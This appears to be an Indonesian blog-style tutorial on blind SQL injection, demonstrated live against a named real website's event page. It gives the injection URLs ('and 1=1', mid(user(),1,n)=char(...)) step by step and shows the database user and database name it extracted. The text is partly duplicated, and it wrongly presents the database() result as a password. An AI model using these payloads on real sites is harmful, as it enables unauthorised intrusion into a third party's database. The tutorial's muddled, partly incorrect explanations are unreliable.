Teknik Blind Injection
Blind Injection..? ini salah satu teknik Attacker untuk Tester web.
+Target
+Test vulnerable
Setelah yakin bahwa site itu ada Vulnerablenya,
+Inject
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(65)
Bingung ya..? Okay.. jelasin dikit yah..
# mid(user()1,1) >>> dalam masalah ini, kita belum tahu value atau nilai dari user itu apa, maka dalam "()" kita sengaja kosongkan saja..
# 1,1 >>> urutan dari value tsb.
# CHAR >>> perubah dalam desimal
# 65 >>> value desimal tsb dan 65 adalah "A" dalam ASCII jadi kita mengawalinya dengan "A" >> 65 dalam ASCII , bisa di awali dari apa aja, tapi untuk lebih valid, kita awali dengan huruf "A" >>> 65
Setelah kita masukkan URL tadi, apa yang akan di tampilkan..? Yup, nilainya ada 2, True or False.
True >>> jika halamannya menampilkan dalam keadaan normal (berita, gambar, dll tidak hilang)
False >>> jika halamannya tidak menampilkan sebagian atau seluruh isi dari halaman tsb (berita, gambar, dll ada yg hilang)
Akhirnya dapet nilai True di char 67, dalam ASCII adalah karakter C
cari nilai kedua >>>
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,65) <<< false
liat 1,1 nya , udah diganti sama 1,2. Jadi kalau sudah dapat true lagi, ganti saja menjadi 1,3 ; 1,4 ; dst...
Nah, akhirnya kita dapet nilai true yang kedua :
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,82)
pada angka 82 >>> R dalam ASCII
Lanjut sampe halaman tsb bernilai false dan akan mendapatkan :
Nah itu "username" nya >>> CRESTQ_CMD
kalau mau nyari "password" nya >>> value user() ganti jadi >>> database() , dan dilakukan sama dengan cara di atas :
Password yang di dapat >>> CRESTQ_CMDDB
"user" dan "password" >>> CRESTQ_CMD dan CRESTQ_CMDDB
yang kita dapatkan itu belum tentu user dan password. tergantung databasenya.
Jadi ga selalu user() >> user
password()>> password,dll
Ternyata ga serumit yang kita bayangkan, tapi harus ada waktu panjang untuk teknik blind injection ini.. :)
+Target
http://cmc.msc.com.my/event_detail.php?ID=190
+Test vulnerable
http://cmc.msc.com.my/event_detail.php?ID=190 and 1=1 <<< True
http://cmc.msc.com.my/event_detail.php?ID=190 and 1=2 <<< False
Setelah yakin bahwa site itu ada Vulnerablenya,
+Inject
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(65)
Bingung ya..? Okay.. jelasin dikit yah..
# mid(user()1,1) >>> dalam masalah ini, kita belum tahu value atau nilai dari user itu apa, maka dalam "()" kita sengaja kosongkan saja..
# 1,1 >>> urutan dari value tsb.
# CHAR >>> perubah dalam desimal
# 65 >>> value desimal tsb dan 65 adalah "A" dalam ASCII jadi kita mengawalinya dengan "A" >> 65 dalam ASCII , bisa di awali dari apa aja, tapi untuk lebih valid, kita awali dengan huruf "A" >>> 65
Setelah kita masukkan URL tadi, apa yang akan di tampilkan..? Yup, nilainya ada 2, True or False.
True >>> jika halamannya menampilkan dalam keadaan normal (berita, gambar, dll tidak hilang)
False >>> jika halamannya tidak menampilkan sebagian atau seluruh isi dari halaman tsb (berita, gambar, dll ada yg hilang)
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(65) <<< false
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(66) <<< false
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(67) <<< true
Akhirnya dapet nilai True di char 67, dalam ASCII adalah karakter C
cari nilai kedua >>>
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,65) <<< false
liat 1,1 nya , udah diganti sama 1,2. Jadi kalau sudah dapat true lagi, ganti saja menjadi 1,3 ; 1,4 ; dst...
Nah, akhirnya kita dapet nilai true yang kedua :
http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,82)
pada angka 82 >>> R dalam ASCII
Lanjut sampe halaman tsb bernilai false dan akan mendapatkan :
http://cmc.msc.com.my/event_detail.php?ID=190%20and%20mid(user(),1,10)=char(67,82,69,83,84,81,95,67,77,68)
67 = C
82 = R
69 = E
83 = S
84 = T
81 = Q
95 = _
67 = C
77 = M
68 = D
Nah itu "username" nya >>> CRESTQ_CMD
kalau mau nyari "password" nya >>> value user() ganti jadi >>> database() , dan dilakukan sama dengan cara di atas :
http://cmc.msc.com.my/event_detail.php?ID=190%20and%20mid(database(),1,12)=char(67,82,69,83,84,81,95,67,77,68,68,66)
67 = C
82 = R
69 = E
83 = S
84 = T
81 = Q
95 = _
67 = C
77 = M
68 = D
68 = D
66 = B
Password yang di dapat >>> CRESTQ_CMDDB
"user" dan "password" >>> CRESTQ_CMD dan CRESTQ_CMDDB
yang kita dapatkan itu belum tentu user dan password. tergantung databasenya.
Jadi ga selalu user() >> user
password()>> password,dll
Ternyata ga serumit yang kita bayangkan, tapi harus ada waktu panjang untuk teknik blind injection ini.. :)